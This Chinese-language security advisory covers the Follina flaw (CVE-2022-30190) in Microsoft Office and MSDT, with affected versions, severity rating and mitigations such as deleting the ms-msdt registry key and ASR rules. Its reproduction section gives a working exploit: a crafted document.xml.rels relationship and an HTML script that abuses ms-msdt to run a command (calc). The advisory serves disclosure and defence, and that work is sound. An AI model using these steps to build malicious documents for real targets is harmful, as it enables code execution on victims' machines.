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0x01 Microsoft Office

Microsoft Office是由Microsoft(微软)公司开发的一套办公软件套装。常用组件有 Word、Excel、PowerPoint等。

0x02 漏洞简介

该文档使用 Word 远程模板功能从远程网络服务器检索 HTML 文件,该服务器使用 ms-msdt MSProtocol URI 方案加载代码并执行 PowerShell,禁用宏,仍能通过MSDT功能执行代码(恶意 Word 文档通常用于通过宏执行代码)。Microsoft Defender 当前无法阻止执行。受保护的视图启动无需打开文档即可运行。

0x03 漏洞复现

步骤:

1、 新建一个word 文档,在里面随便输入东西

 2、 将 word 文档后缀更改为 zip

3、 将 zip 包解压打开,编辑文件夹下的 word 目录下的_rels 下的document.xml.rels

 4 、 按照格式加入

<Relationship  Id="rId1337" Type="http://schemas.openxmlformats/officeDocument/2006/relationships/oleObje ct" Target="mhtml:http://localhost:80/exploit.html!x-usc:http://localhost:80/exploit.html" TargetMode="External"/>

5、 然后将文件夹打包成 zip,再改后缀为docx

6、 建一个文件夹作为web 站点目录,新建html 文件添加

<script>
location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=?
IT_LaunchMethod=ContextMenu IT_BrowseForFile=/../../$(\\\\localhost\\c$\\windows\\system32\\calc)/.exe\"";
</script>

7、 点开改好后的word 文档即可

 目前发现的POC(弹出计算器)

GitHub - chvancooten/follina.py: POC to replicate the full 'Follina' Office RCE vulnerability for testing purposesPOC to replicate the full 'Follina' Office RCE vulnerability for testing purposes - GitHub - chvancooten/follina.py: POC to replicate the full 'Follina' Office RCE vulnerability for testing purposeshttps://github/chvancooten/follina.py

GitHub - onecloudemoji/CVE-2022-30190: CVE-2022-30190 Follina POCCVE-2022-30190 Follina POC. Contribute to onecloudemoji/CVE-2022-30190 development by creating an account on GitHub.https://github/onecloudemoji/CVE-2022-30190

作者给出的几种方法

0x04 漏洞评定

  • 公开程度:已发现在野利用

  • 利用条件:需要打开或点击特定文件

  • 漏洞危害:高危 任意代码执行

0x05 修复方案

官方修复方案:

目前微软暂未针对此漏洞发布安全补丁,提供了临时修复措施进行防护:

禁用MSDT URL协议

1、以管理员身份运行命令提示符。

2、备份注册表项后,执行命令

reg export HKEY_CLASSES_ROOT\ms-msdt filename

3、再执行命令

reg delete HKEY_CLASSES_ROOT\ms-msdt /f

撤销该禁用:

1、以管理员身份运行命令提示符。

2、备份注册表项后,执行命令

reg import filename

官方参考链接:

https://msrc-blog.microsoft/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/

Microsoft Defender在1.367.719.0及以上版本支持此漏洞的检测和防护,Microsoft Defender for Endpoint 已为用户提供检测和警报;Microsoft365 Defender门户中的以下警报标题可以提示网络上的威胁活动:Office 应用程序的可疑行为、Msdt.exe 的可疑行为。

0x05 影响范围

影响版本:

Windows Server 2012 R2 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 (Server Core installation)
Windows Server 2012
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows RT 8.1
Windows 8.1 for x64-based systems
Windows 8.1 for 32-bit systems
Windows 7 for x64-based Systems Service Pack 1
Windows 7 for 32-bit Systems Service Pack 1
Windows Server 2016 (Server Core installation)
Windows Server 2016
Windows 10 Version 1607 for x64-based Systems
Windows 10 Version 1607 for 32-bit Systems
Windows 10 for x64-based Systems
Windows 10 for 32-bit Systems
Windows 10 Version 21H2 for x64-based Systems
Windows 10 Version 21H2 for ARM64-based Systems
Windows 10 Version 21H2 for 32-bit Systems
Windows 11 for ARM64-based Systems
Windows 11 for x64-based Systems
Windows Server, version 20H2 (Server Core Installation)
Windows 10 Version 20H2 for ARM64-based Systems
Windows 10 Version 20H2 for 32-bit Systems
Windows 10 Version 20H2 for x64-based Systems
Windows Server 2022 Azure Edition Core Hotpatch
Windows Server 2022 (Server Core installation)
Windows Server 2022
Windows 10 Version 21H1 for 32-bit Systems
Windows 10 Version 21H1 for ARM64-based Systems
Windows 10 Version 21H1 for x64-based Systems
Windows Server 2019 (Server Core installation)
Windows Server 2019
Windows 10 Version 1809 for ARM64-based Systems
Windows 10 Version 1809 for x64-based Systems
Windows 10 Version 1809 for 32-bit Systems
 

其他修复方案:

1、关闭资源管理器的预览窗格,不轻易打开陌生链接或下载来历不明的文档;

2、如果您使用Microsoft Defender的 Attack Surface Reduction(ASR)规则,则可在Block模式下激活“阻止所有Office应用程序创建子进程”规则。若您还没有使用ASR规则,可先在Audit模式下运行规则,观察结果以确保不会对系统造成不利影响;

3、通过创建ASL规则防止Office产生子进程:

本文标签: 漏洞代码officeMSDTMicrosoft